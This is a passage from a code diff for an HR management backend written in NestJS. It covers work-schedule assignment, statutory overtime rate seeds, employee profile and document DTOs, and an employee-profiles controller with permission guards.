(await this.schedules.update(id, { ...dto, updatedBy: actor.userId })) ??
schedule
);
}
findAll(actor: ActorContext): Promise<WorkSchedule[]> {
return this.schedules.findAllFor(orgScope(actor));
}
findOne(id: string, actor: ActorContext): Promise<WorkSchedule> {
return this.requireSchedule(id, orgScope(actor));
}
async remove(id: string, actor: ActorContext): Promise<void> {
const schedule = await this.requireSchedule(id, orgScope(actor));
const open = await this.assignments.findOpenForSchedule(schedule.id);
if (open > 0) {
throw new ConflictException(
`${open} employee(s) are currently on this schedule. Move them to ` +
"another one first, or deactivate this schedule instead of deleting it.",
);
}
await this.schedules.softDelete(id);
}
/**
* Put an employee on a schedule from a date.
*
* The previous assignment is closed the day before rather than deleted, so
* attendance already recorded keeps resolving to the schedule that actually
* applied — moving someone to a later shift must not retroactively make last
* month's punctual arrivals late.
*/
async assign(
dto: AssignScheduleDto,
actor: ActorContext,
): Promise<WorkScheduleAssignment> {
const schedule = await this.requireSchedule(dto.workScheduleId, orgScope(actor));
const employee = await this.iamDirectory.requireEmployee(dto.employeeId);
if (
!actor.isSuperAdmin &&
employee.organizationId !== schedule.organizationId
) {
throw new BadRequestException(
"That employee and that schedule belong to different organizations.",
);
}
const open = await this.assignments.findOpenFor(dto.employeeId);
if (open) {
if (open.workScheduleId === schedule.id) {
throw new ConflictException(
`They are already on ${schedule.code}, since ${open.effectiveFrom}.`,
);
}
if (dto.effectiveFrom <= open.effectiveFrom) {
throw new BadRequestException(
`The new schedule must start after the current one began ` +
`(${open.effectiveFrom}).`,
);
}
await this.assignments.update(open.id, {
effectiveTo: addDays(dto.effectiveFrom, -1),
updatedBy: actor.userId,
});
}
return this.assignments.create({
organizationId: schedule.organizationId,
employeeId: dto.employeeId,
workScheduleId: schedule.id,
effectiveFrom: dto.effectiveFrom,
createdBy: actor.userId,
} as Partial<WorkScheduleAssignment>);
}
/**
* The schedule that applied to an employee on a date.
*
* Falls back to the organization's default, and then to null. Null is a valid
* answer, not an error: attendance can still record punches without a
* schedule, it simply cannot judge lateness — better than refusing to record
* that somebody came to work.
*/
async resolveFor(
employeeId: string,
organizationId: string,
date: string,
): Promise<WorkSchedule | null> {
const assignment = await this.assignments.findOnDate(employeeId, date);
if (assignment?.workSchedule) return assignment.workSchedule;
return this.schedules.findDefault(organizationId);
}
history(employeeId: string): Promise<WorkScheduleAssignment[]> {
return this.assignments.findHistory(employeeId);
}
/**
* Rules the CHECK constraints cannot express on their own.
*
* Typed on the fields rather than on the DTO class so the same check can run
* over an entity merged with a partial update — the update path has to
* validate the RESULT, not just the fields that changed.
*/
private static assertCoherent(dto: {
startTime?: string;
endTime?: string;
breakMinutes?: number;
crossesMidnight?: boolean;
workingDays?: number[] | null;
minMinutesFullDay?: number;
}): void {
if (dto.workingDays) {
if (dto.workingDays.length === 0) {
throw new BadRequestException(
"A schedule must work at least one day of the week.",
);
}
if (new Set(dto.workingDays).size !== dto.workingDays.length) {
throw new BadRequestException("workingDays contains duplicates");
}
}
if (dto.startTime && dto.endTime && !dto.crossesMidnight) {
if (dto.endTime <= dto.startTime) {
throw new BadRequestException(
"endTime must be after startTime. If this is a night shift, set " +
"crossesMidnight instead.",
);
}
}
// A day that cannot reach its own full-day threshold would mark every
// attendance HALF_DAY, however long the employee stayed.
const start = dto.startTime;
const end = dto.endTime;
if (start && end && dto.minMinutesFullDay !== undefined) {
const span = WorkSchedulesService.spanMinutes(
start,
end,
dto.crossesMidnight ?? false,
);
const payable = span - (dto.breakMinutes ?? 0);
if (dto.minMinutesFullDay > payable) {
throw new BadRequestException(
`A full day needs ${dto.minMinutesFullDay} minutes, but this shift ` +
`only offers ${payable} after its break. Every day would be counted ` +
"as a half day.",
);
}
}
}
private static spanMinutes(
start: string,
end: string,
crossesMidnight: boolean,
): number {
const toMinutes = (time: string) => {
const [hours, minutes] = time.split(":").map(Number);
return hours * 60 + minutes;
};
const raw = toMinutes(end) - toMinutes(start);
return crossesMidnight && raw <= 0 ? raw + 1440 : raw;
}
private requireOrg(actor: ActorContext): string {
const organizationId = orgScope(actor) ?? actor.organizationId;
if (!organizationId) {
throw new BadRequestException(
"This account has no organization, and work schedules belong to one.",
);
}
return organizationId;
}
private async requireSchedule(
id: string,
organizationId: string | null,
): Promise<WorkSchedule> {
const schedule = await this.schedules.findById(id);
if (!schedule || (organizationId && schedule.organizationId !== organizationId)) {
throw new NotFoundException(`Work schedule ${id} not found`);
}
return schedule;
}
}

View File

@@ -0,0 +1,45 @@
import { EOvertimeCategory } from "./entities/overtime.entity";
/**
* The statutory overtime premiums under **Labour Proclamation No. 1156/2019**,
* Art. 68, with the daily cap from Art. 67.
*
* A seed, not a rule. Every figure lands in a column an employer can raise —
* the statute is a floor, and paying more is lawful while paying less is not.
* `statuteReference` records where each default came from, so a later edit reads
* as a deliberate decision rather than a typo.
*
* NOT modelled here: the annual and monthly ceilings (Art. 67 also limits
* overtime to 20 hours a month and 100 a year). Those are checked against the
* accumulated total across requests, which is the overtime service's job, not a
* property of a rate.
*/
export const STATUTORY_OVERTIME_RATES = [
{
category: EOvertimeCategory.DAY,
multiplier: "1.50",
// Art. 67: two hours a day, on an ordinary working day.
maxHoursPerDay: "2.00",
statuteReference: "Proc. 1156/2019 Art. 68(1)(a)",
},
{
category: EOvertimeCategory.NIGHT,
multiplier: "1.75",
maxHoursPerDay: "2.00",
statuteReference: "Proc. 1156/2019 Art. 68(1)(b)",
},
{
category: EOvertimeCategory.REST_DAY,
multiplier: "2.00",
// A rest day has no ordinary shift to extend, so the two-hour cap on
// *extending a day* does not apply. Left uncapped rather than guessed at.
maxHoursPerDay: null,
statuteReference: "Proc. 1156/2019 Art. 68(1)(c)",
},
{
category: EOvertimeCategory.PUBLIC_HOLIDAY,
multiplier: "2.50",
maxHoursPerDay: null,
statuteReference: "Proc. 1156/2019 Art. 68(1)(d)",
},
] as const;

View File

@@ -0,0 +1,55 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import { Type } from "class-transformer";
import {
IsDateString,
IsEnum,
IsOptional,
IsString,
IsUUID,
MaxLength,
ValidateNested,
} from "class-validator";
import { EEmployeeDocumentType } from "../entities/employee-document.entity";
import { LocalizedNameDto } from "./create-employee-profile.dto";
export class CreateEmployeeDocumentDto {
@ApiProperty({ enum: EEmployeeDocumentType })
@IsEnum(EEmployeeDocumentType)
documentType!: EEmployeeDocumentType;
@ApiProperty({
format: "uuid",
description: "DMS document id — upload to DMS first, then file it here.",
})
@IsUUID()
documentId!: string;
@ApiPropertyOptional()
@IsOptional()
@IsString()
@MaxLength(128)
documentNumber?: string;
@ApiPropertyOptional({ format: "date" })
@IsOptional()
@IsDateString()
issueDate?: string;
@ApiPropertyOptional({ format: "date" })
@IsOptional()
@IsDateString()
expiryDate?: string;
@ApiPropertyOptional()
@IsOptional()
@IsString()
@MaxLength(128)
issuingAuthority?: string;
@ApiPropertyOptional({ type: LocalizedNameDto })
@IsOptional()
@ValidateNested()
@Type(() => LocalizedNameDto)
notes?: LocalizedNameDto;
}

View File

@@ -0,0 +1,213 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import { Type } from "class-transformer";
import {
IsBoolean,
IsDateString,
IsEmail,
IsEnum,
IsInt,
IsNotEmpty,
IsObject,
IsOptional,
IsString,
IsUUID,
Max,
MaxLength,
Min,
ValidateNested,
} from "class-validator";
import {
EEmploymentState,
EEmploymentType,
EGender,
EMaritalStatus,
ESalaryMode,
} from "../entities/employee-profile.entity";
export class PersonalAddressDto {
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) region?: string;
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) subCity?: string;
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) zone?: string;
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) woreda?: string;
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) kebele?: string;
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(32) houseNumber?: string;
}
/** The `{am, en}` shape every localized field on the platform uses. */
export class LocalizedNameDto {
@ApiProperty() @IsString() @IsNotEmpty() @MaxLength(128) am!: string;
@ApiProperty() @IsString() @IsNotEmpty() @MaxLength(128) en!: string;
}
export class CreateEmployeeProfileDto {
/**
* The `iam.employees.id` this profile extends. The employee must already exist
* in IAM — HR never creates one (3.5 hires through the IAM user API, then
* creates the profile).
*/
@ApiProperty({ format: "uuid" })
@IsUUID()
employeeId!: string;
/**
* Optional: when omitted the service generates the next number for the
* organization. Supplied explicitly when migrating existing staff whose
* numbers must be preserved.
*/
@ApiPropertyOptional({ maxLength: 64 })
@IsOptional()
@IsString()
@MaxLength(64)
employeeNumber?: string;
// ── Personal ──
@ApiPropertyOptional({ format: "date" })
@IsOptional()
@IsDateString()
dateOfBirth?: string;
@ApiPropertyOptional({ enum: EGender })
@IsOptional()
@IsEnum(EGender)
gender?: EGender;
@ApiPropertyOptional({ default: "Ethiopian" })
@IsOptional()
@IsString()
@MaxLength(64)
nationality?: string;
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) nationalId?: string;
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(32) tinNumber?: string;
@ApiPropertyOptional({ enum: EMaritalStatus })
@IsOptional()
@IsEnum(EMaritalStatus)
maritalStatus?: EMaritalStatus;
@ApiPropertyOptional({ minimum: 0, maximum: 30 })
@IsOptional()
@Type(() => Number)
@IsInt()
@Min(0)
@Max(30)
childrenCount?: number;
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(32) workPhone?: string;
@ApiPropertyOptional()
@IsOptional()
@IsEmail()
@MaxLength(128)
workEmail?: string;
@ApiPropertyOptional({ type: PersonalAddressDto })
@IsOptional()
@ValidateNested()
@Type(() => PersonalAddressDto)
personalAddress?: PersonalAddressDto;
@ApiPropertyOptional({ type: LocalizedNameDto })
@IsOptional()
@ValidateNested()
@Type(() => LocalizedNameDto)
emergencyContactName?: LocalizedNameDto;
@ApiPropertyOptional()
@IsOptional()
@IsString()
@MaxLength(32)
emergencyContactPhone?: string;
@ApiPropertyOptional()
@IsOptional()
@IsString()
@MaxLength(64)
emergencyContactRelation?: string;
// ── Employment ──
@ApiPropertyOptional({ format: "uuid" })
@IsOptional()
@IsUUID()
jobTitleId?: string;
@ApiPropertyOptional({ format: "uuid", description: "iam.locations.id" })
@IsOptional()
@IsUUID()
workLocationId?: string;
@ApiProperty({ enum: EEmploymentType })
@IsEnum(EEmploymentType)
employmentType!: EEmploymentType;
@ApiProperty({ format: "date" })
@IsDateString()
hireDate!: string;
@ApiPropertyOptional({ format: "date" })
@IsOptional()
@IsDateString()
contractEndDate?: string;
@ApiPropertyOptional({ format: "date" })
@IsOptional()
@IsDateString()
probationEndDate?: string;
@ApiPropertyOptional({
enum: EEmploymentState,
description:
"Defaults to PROBATION when a probation end date is set, ACTIVE otherwise.",
})
@IsOptional()
@IsEnum(EEmploymentState)
employmentState?: EEmploymentState;
@ApiPropertyOptional({
format: "uuid",
description:
"Manager OVERRIDE (iam.employees.id). Omit to use the IAM position hierarchy.",
})
@IsOptional()
@IsUUID()
managerEmployeeId?: string;
// ── Payroll ──
@ApiPropertyOptional({ enum: ESalaryMode })
@IsOptional()
@IsEnum(ESalaryMode)
salaryMode?: ESalaryMode;
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(128) bankName?: string;
@ApiPropertyOptional()
@IsOptional()
@IsString()
@MaxLength(64)
bankAccountNumber?: string;
@ApiPropertyOptional()
@IsOptional()
@IsString()
@MaxLength(128)
bankAccountName?: string;
@ApiPropertyOptional({
description:
"Defaults from employmentType — contract, intern and part-time are excluded.",
})
@IsOptional()
@IsBoolean()
isPensionEligible?: boolean;
@ApiPropertyOptional({ format: "uuid", description: "DMS document id" })
@IsOptional()
@IsUUID()
profilePhotoDocumentId?: string;
@ApiPropertyOptional({ description: "Reserved for future structured metadata" })
@IsOptional()
@IsObject()
metadata?: Record<string, unknown>;
}

View File

@@ -0,0 +1,108 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import {
EEmploymentState,
EmployeeProfile,
} from "../entities/employee-profile.entity";
import type { IamEmployee } from "../../../iam-directory/iam-directory.service";
/**
* What the API returns for a profile: the HR row plus the IAM facts HR does not
* store. The `iam` block is read-through — it is never persisted here, so a name
* change in IAM is reflected immediately rather than needing an HR update.
*/
export type AccessAlignment =
| "OK"
/** Employment is over but the account still works. The dangerous one. */
| "ACCESS_OUTLIVES_EMPLOYMENT"
/** Still employed, but the account is deactivated — they cannot work. */
| "EMPLOYED_WITHOUT_ACCESS";
/** HR states after which nobody should still be able to log in. */
const ENDED_STATES = new Set<EEmploymentState>([
EEmploymentState.TERMINATED,
EEmploymentState.RETIRED,
]);
export const accessAlignmentOf = (
employmentState: EEmploymentState,
iam: { isCurrent: boolean } | null,
): AccessAlignment => {
// No IAM row to compare against — nothing to report either way.
if (!iam) return "OK";
if (ENDED_STATES.has(employmentState)) {
return iam.isCurrent ? "ACCESS_OUTLIVES_EMPLOYMENT" : "OK";
}
// SUSPENDED is deliberately not flagged: suspending someone and cutting their
// access is a normal pairing, and so is suspending them while they keep it.
if (employmentState === EEmploymentState.SUSPENDED) return "OK";
return iam.isCurrent ? "OK" : "EMPLOYED_WITHOUT_ACCESS";
};
export class EmployeeProfileResponseDto {
@ApiProperty({ format: "uuid" }) id!: string;
@ApiProperty({ format: "uuid" }) employeeId!: string;
@ApiProperty() employeeNumber!: string;
@ApiProperty({
description: "Read-through from iam.employees / iam.users. Never stored in hr.",
})
iam!: {
name: { am: string; en: string } | null;
status: string;
isCurrent: boolean;
unitId: string | null;
username: string | null;
email: string | null;
phoneNumber: string | null;
} | null;
@ApiProperty({
enum: ["OK", "ACCESS_OUTLIVES_EMPLOYMENT", "EMPLOYED_WITHOUT_ACCESS"],
description:
"How HR's employment state lines up with the IAM account. HR and IAM are " +
"separate systems and drift apart silently — ending an employment here " +
"does not revoke the login, and deactivating in IAM does not end the " +
"employment. This names the mismatch instead of leaving it invisible.",
})
accessAlignment!: AccessAlignment;
@ApiPropertyOptional({
format: "uuid",
description:
"Effective manager: the override when set, otherwise resolved from the IAM position hierarchy.",
})
effectiveManagerEmployeeId?: string | null;
@ApiPropertyOptional({
description: "True when effectiveManagerEmployeeId came from the override column.",
})
isManagerOverridden?: boolean;
[key: string]: unknown;
static from(
profile: EmployeeProfile,
iam: IamEmployee | null,
manager?: { employeeId: string | null; overridden: boolean },
): EmployeeProfileResponseDto {
const { documents: _documents, ...rest } = profile;
return {
...rest,
iam: iam
? {
name: iam.name,
status: iam.status,
isCurrent: iam.isCurrent,
unitId: iam.unitId,
username: iam.username,
email: iam.email,
phoneNumber: iam.phoneNumber,
}
: null,
accessAlignment: accessAlignmentOf(profile.employmentState, iam),
effectiveManagerEmployeeId: manager?.employeeId ?? null,
isManagerOverridden: manager?.overridden ?? false,
} as unknown as EmployeeProfileResponseDto;
}
}

View File

@@ -0,0 +1,61 @@
import { ApiPropertyOptional } from "@nestjs/swagger";
import { Transform } from "class-transformer";
import { IsBoolean, IsEnum, IsOptional, IsString, IsUUID } from "class-validator";
import { PaginationQueryDto } from "../../../common/pagination.dto";
import {
EEmploymentState,
EEmploymentType,
} from "../entities/employee-profile.entity";
export class FindEmployeeProfilesDto extends PaginationQueryDto {
@ApiPropertyOptional({
description: "Matches employee number, and IAM name / username / email.",
})
@IsOptional()
@IsString()
search?: string;
@ApiPropertyOptional({ enum: EEmploymentState })
@IsOptional()
@IsEnum(EEmploymentState)
employmentState?: EEmploymentState;
@ApiPropertyOptional({ enum: EEmploymentType })
@IsOptional()
@IsEnum(EEmploymentType)
employmentType?: EEmploymentType;
@ApiPropertyOptional({ format: "uuid" })
@IsOptional()
@IsUUID()
jobTitleId?: string;
@ApiPropertyOptional({
format: "uuid",
description:
"iam.units.id. Includes every sub-unit beneath it, so a division filter covers its departments.",
})
@IsOptional()
@IsUUID()
unitId?: string;
@ApiPropertyOptional({
description:
"true = only people with an HR profile, false = only those still to be onboarded.",
})
@IsOptional()
@Transform(({ value }) =>
value === "true" ? true : value === "false" ? false : value,
)
@IsBoolean()
onboarded?: boolean;
@ApiPropertyOptional({
format: "uuid",
description: "Direct reports of this iam.employees.id (override or hierarchy).",
})
@IsOptional()
@IsUUID()
managerEmployeeId?: string;
}

View File

@@ -0,0 +1,66 @@
import { ApiPropertyOptional, OmitType, PartialType } from "@nestjs/swagger";
import {
IsBoolean,
IsDateString,
IsEnum,
IsOptional,
IsString,
MaxLength,
} from "class-validator";
import { CreateEmployeeProfileDto } from "./create-employee-profile.dto";
import { EEmploymentState } from "../entities/employee-profile.entity";
/**
* `employeeId` is omitted: re-pointing a profile at a different IAM employee
* would silently move somebody's payslips, leave balance and documents. Creating
* a new profile is the only way to attach to a different person.
*
* `employmentState` is omitted too — it moves through the dedicated transition
* endpoints (deactivate / reinstate / terminate), which enforce the state machine
* and record why. A free-form PATCH would let a terminated employee be set back
* to ACTIVE with no termination date cleanup and no audit reason.
*/
export class UpdateEmployeeProfileDto extends PartialType(
OmitType(CreateEmployeeProfileDto, [
"employeeId",
"employmentState",
] as const),
) {}
export class TerminateEmployeeDto {
@ApiPropertyOptional({
format: "date",
description: "Defaults to today when omitted.",
})
@IsOptional()
@IsDateString()
terminationDate?: string;
@ApiPropertyOptional({ maxLength: 128 })
@IsOptional()
@IsString()
@MaxLength(128)
terminationReason?: string;
@ApiPropertyOptional({
enum: [EEmploymentState.TERMINATED, EEmploymentState.RETIRED],
default: EEmploymentState.TERMINATED,
description: "RETIRED keeps pension reporting distinct from a termination.",
})
@IsOptional()
@IsEnum(EEmploymentState)
finalState?: EEmploymentState.TERMINATED | EEmploymentState.RETIRED;
@ApiPropertyOptional({
default: false,
description:
"Also deactivate their IAM account, revoking the login and ending every " +
"position they hold. Off by default because it is not reversible in one " +
"step: reactivating restores the account but NOT the positions. Left off, " +
"the profile comes back flagged ACCESS_OUTLIVES_EMPLOYMENT until somebody acts.",
})
@IsOptional()
@IsBoolean()
revokeSystemAccess?: boolean;
}

View File

@@ -0,0 +1,58 @@
import { Injectable } from "@nestjs/common";
import { InjectRepository } from "@nestjs/typeorm";
import { BaseRepository } from "@edr/api-common";
import { Repository } from "typeorm";
import { EmployeeDocument } from "./entities/employee-document.entity";
@Injectable()
export class EmployeeDocumentsRepository extends BaseRepository<EmployeeDocument> {
constructor(
@InjectRepository(EmployeeDocument)
repository: Repository<EmployeeDocument>,
) {
super(repository);
}
findByProfile(employeeProfileId: string): Promise<EmployeeDocument[]> {
return this.repository.find({
where: { employeeProfileId },
order: { createdAt: "DESC" },
});
}
/**
* Documents expiring within `days`. Feeds the renewal reminder and the
* expiring-documents report (3.7) — a lapsed work permit or contract is an HR
* compliance failure, so this is a first-class query rather than a report-time
* scan.
*/
findExpiringWithin(
organizationId: string | null,
days: number,
): Promise<EmployeeDocument[]> {
const qb = this.repository.createQueryBuilder("document").where("1 = 1");
// Documents store no organization. Scope by joining the profile through to
// `iam.employees`, which is where the organization actually lives.
// `null` = every organization (super admin), so no join is needed at all.
if (organizationId) {
qb.andWhere(
`EXISTS (
SELECT 1 FROM hr.employee_profiles p
JOIN iam.employees e ON e.id = p.employee_id
WHERE p.id = document.employee_profile_id
AND e.organization_id = :organizationId
)`,
{ organizationId },
);
}
return qb
.andWhere("document.expiry_date IS NOT NULL")
.andWhere(
`document.expiry_date BETWEEN CURRENT_DATE AND (CURRENT_DATE + make_interval(days => :days))`,
{ days },
)
.orderBy("document.expiryDate", "ASC")
.getMany();
}
}

View File

@@ -0,0 +1,79 @@
import {
ForbiddenException,
Injectable,
NotFoundException,
} from "@nestjs/common";
import { EmployeeDocumentsRepository } from "./employee-documents.repository";
import { EmployeeDocument } from "./entities/employee-document.entity";
import { CreateEmployeeDocumentDto } from "./dto/create-employee-document.dto";
import { ActorContext, EmployeesService, orgScope } from "./employees.service";
@Injectable()
export class EmployeeDocumentsService {
constructor(
private readonly documentsRepository: EmployeeDocumentsRepository,
private readonly employeesService: EmployeesService,
) {}
async list(
employeeProfileId: string,
actor: ActorContext,
options: { ownOnly?: boolean } = {},
): Promise<EmployeeDocument[]> {
const profile = await this.employeesService.requireProfile(
employeeProfileId,
orgScope(actor),
);
// Self-service callers reach this route with `can:view:employee_document`
// too, so the ownership check is what separates "my file" from "anyone's".
if (options.ownOnly && profile.employeeId !== actor.employeeId) {
throw new ForbiddenException("You can only read your own documents");
}
return this.documentsRepository.findByProfile(profile.id);
}
async add(
employeeProfileId: string,
dto: CreateEmployeeDocumentDto,
actor: ActorContext,
): Promise<EmployeeDocument> {
const profile = await this.employeesService.requireProfile(
employeeProfileId,
orgScope(actor),
);
// No organization stored on the document: it belongs to the profile, which
// belongs to an IAM employee, which is where the organization lives.
return this.documentsRepository.create({
...dto,
employeeProfileId: profile.id,
createdBy: actor.userId,
});
}
/**
* Soft-deletes the HR index row. The DMS object is deliberately left alone:
* DMS owns its own retention, and a document can be referenced by more than one
* record (a contract filed against both the employee and a recruitment offer).
*/
async remove(
employeeProfileId: string,
documentId: string,
actor: ActorContext,
): Promise<void> {
await this.employeesService.requireProfile(
employeeProfileId,
orgScope(actor),
);
const document = await this.documentsRepository.findById(documentId);
if (!document || document.employeeProfileId !== employeeProfileId) {
throw new NotFoundException(`Document ${documentId} not found`);
}
await this.documentsRepository.softDelete(documentId);
}
/** Documents expiring in the next `days`, for the compliance reminder. */
expiring(days: number, actor: ActorContext): Promise<EmployeeDocument[]> {
return this.documentsRepository.findExpiringWithin(orgScope(actor), days);
}
}

View File

@@ -0,0 +1,274 @@
import {
Body,
Controller,
Delete,
Get,
HttpCode,
HttpStatus,
Param,
ParseIntPipe,
ParseUUIDPipe,
Patch,
Post,
Query,
} from "@nestjs/common";
import {
ApiBearerAuth,
ApiOperation,
ApiResponse,
ApiTags,
} from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../common/hr-guards";
import { actorFrom } from "../../common/current-actor.util";
import { HR_PERMS, IAM_PERMS } from "../../seed/hr-permissions.registry";
import { EmployeesService } from "./employees.service";
import { EmployeeDocumentsService } from "./employee-documents.service";
import { CreateEmployeeProfileDto } from "./dto/create-employee-profile.dto";
import {
TerminateEmployeeDto,
UpdateEmployeeProfileDto,
} from "./dto/update-employee-profile.dto";
import { FindEmployeeProfilesDto } from "./dto/find-employee-profiles.dto";
import { CreateEmployeeDocumentDto } from "./dto/create-employee-document.dto";
@ApiTags("employee-profiles")
@ApiBearerAuth()
@Controller("employee-profiles")
// The class gate lists every key its routes use: Nest runs class AND method
// guards, so a key missing here denies before the route's own key is evaluated.
@HrStaff([
HR_PERMS.employeeProfile.view,
HR_PERMS.employeeProfile.viewOwn,
HR_PERMS.employeeProfile.create,
HR_PERMS.employeeProfile.update,
HR_PERMS.employeeProfile.deactivate,
HR_PERMS.employeeProfile.terminate,
IAM_PERMS.employee.activate,
IAM_PERMS.employee.deactivate,
HR_PERMS.employeeDocument.view,
HR_PERMS.employeeDocument.upload,
HR_PERMS.employeeDocument.delete,
])
export class EmployeesController {
constructor(
private readonly employeesService: EmployeesService,
private readonly documentsService: EmployeeDocumentsService,
) {}
@Post()
@HrStaff(HR_PERMS.employeeProfile.create)
@ApiOperation({
summary: "Create the HR profile for an existing IAM employee",
description:
"The employee must already exist in iam.employees. Employee number is generated when omitted.",
})
@ApiResponse({ status: 409, description: "This employee already has a profile" })
create(
@Body() dto: CreateEmployeeProfileDto,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.create(dto, actorFrom(user));
}
@Get()
@HrStaff(HR_PERMS.employeeProfile.view)
@ApiOperation({
summary: "Employee directory — every IAM employee, with onboarding state",
description:
"Driven from iam.employees, left-joined to hr.employee_profiles. " +
"`isOnboarded` says whether HR holds a profile. Filter with " +
"?onboarded=false to get the onboarding queue.",
})
findAll(
@Query() filters: FindEmployeeProfilesDto,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.findDirectory(filters, actorFrom(user));
}
@Post("by-employee/:employeeId/ensure")
@HrStaff(HR_PERMS.employeeProfile.create)
@ApiOperation({
summary: "Onboard an IAM employee — return their HR profile, creating it if absent",
description:
"Idempotent. A newly created profile is flagged `isProvisional`: its hire " +
"date is the IAM record's creation date and its employment type a default, " +
"so both must be confirmed before payroll or leave accrual rely on them.",
})
ensure(
@Param("employeeId", ParseUUIDPipe) employeeId: string,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.ensureProfile(employeeId, actorFrom(user));
}
// Declared before `:id` so the literal path is not captured by the UUID route.
@Get("me")
@HrStaff(HR_PERMS.employeeProfile.viewOwn)
@ApiOperation({ summary: "The signed-in employee's own profile" })
findOwn(@CurrentUser() user: TCurrentUser) {
return this.employeesService.findOwn(actorFrom(user));
}
@Get("headcount-summary")
@HrStaff(HR_PERMS.employeeProfile.view)
@ApiOperation({ summary: "Headcount by employment state, for the dashboard" })
headcountSummary(@CurrentUser() user: TCurrentUser) {
return this.employeesService.headcountSummary(actorFrom(user));
}
@Get("documents/expiring")
@HrStaff(HR_PERMS.employeeDocument.view)
@ApiOperation({
summary: "Employee documents expiring within the given number of days",
})
expiringDocuments(
@Query("days", new ParseIntPipe({ optional: true })) days = 30,
@CurrentUser() user: TCurrentUser,
) {
return this.documentsService.expiring(days, actorFrom(user));
}
@Get(":id")
@HrStaff(HR_PERMS.employeeProfile.view)
@ApiOperation({ summary: "One employee profile, with IAM facts read through" })
findOne(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.findOne(id, actorFrom(user));
}
@Patch(":id")
@HrStaff(HR_PERMS.employeeProfile.update)
@ApiOperation({
summary: "Update an employee profile",
description:
"Employment state is not editable here — use the suspend / reinstate / terminate transitions.",
})
update(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: UpdateEmployeeProfileDto,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.update(id, dto, actorFrom(user));
}
@Patch(":id/suspend")
@HrStaff(HR_PERMS.employeeProfile.deactivate)
@ApiOperation({ summary: "Suspend an employee" })
suspend(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.suspend(id, actorFrom(user));
}
@Patch(":id/reinstate")
@HrStaff(HR_PERMS.employeeProfile.deactivate)
@ApiOperation({ summary: "Return a suspended or on-leave employee to active" })
reinstate(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.reinstate(id, actorFrom(user));
}
@Patch(":id/terminate")
@HrStaff(HR_PERMS.employeeProfile.terminate)
@ApiOperation({
summary: "End an employment (terminal)",
description:
"The row is kept, not deleted — payroll, tax and pension reports read terminated employees for the period they worked.",
})
terminate(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: TerminateEmployeeDto,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.terminate(id, dto, actorFrom(user));
}
// ── Documents ────────────────────────────────────────────────────────────
@Patch(":id/system-access/revoke")
@HrStaff(IAM_PERMS.employee.deactivate)
@ApiOperation({
summary: "Deactivate this employee's IAM account",
description:
"Revokes the login and ends every position they hold in IAM. Their HR " +
"employment state is untouched — this is about access, not employment. " +
"Not reversible in one step: restoring the account does not restore the " +
"positions.",
})
@ApiResponse({ status: 200, description: "Account deactivated" })
revokeSystemAccess(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.setIamAccountActive(id, false, actorFrom(user));
}
@Patch(":id/system-access/restore")
@HrStaff(IAM_PERMS.employee.activate)
@ApiOperation({
summary: "Reactivate this employee's IAM account",
description:
"Restores the login. Position assignments ended by a deactivation are NOT " +
"restored — reassign them from the organisation explorer. Rejected while " +
"the employment is TERMINATED or RETIRED.",
})
@ApiResponse({ status: 200, description: "Account reactivated" })
@ApiResponse({
status: 400,
description: "The employment has ended; reinstate it first",
})
restoreSystemAccess(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.employeesService.setIamAccountActive(id, true, actorFrom(user));
}
@Get(":id/documents")
@HrStaff(HR_PERMS.employeeDocument.view)
@ApiOperation({ summary: "Documents filed against an employee" })
listDocuments(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.documentsService.list(id, actorFrom(user));
}
@Post(":id/documents")
@HrStaff(HR_PERMS.employeeDocument.upload)
@ApiOperation({
summary: "File a document against an employee",
description: "Upload the file to DMS first, then record its id here.",
})
addDocument(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: CreateEmployeeDocumentDto,
@CurrentUser() user: TCurrentUser,
) {
return this.documentsService.add(id, dto, actorFrom(user));
}
@Delete(":id/documents/:documentId")
@HrStaff(HR_PERMS.employeeDocument.delete)
@HttpCode(HttpStatus.NO_CONTENT)
@ApiOperation({
summary: "Remove a document from an employee's file",
description: "Soft-deletes the HR index row; the DMS object is untouched.",
})
removeDocument(
@Param("id", ParseUUIDPipe) id: string,
@Param("documentId", ParseUUIDPipe) documentId: string,
@CurrentUser() user: TCurrentUser,
) {
return this.documentsService.remove(id, documentId, actorFrom(user));
}
}

View File

@@ -0,0 +1,32 @@
import { Module } from "@nestjs/common";
import { TypeOrmModule } from "@nestjs/typeorm";
import { EmployeeProfile } from "./entities/employee-profile.entity";
import { EmployeeDocument } from "./entities/employee-document.entity";
import { EmployeesRepository } from "./employees.repository";
import { EmployeeDocumentsRepository } from "./employee-documents.repository";
import { EmployeesService } from "./employees.service";
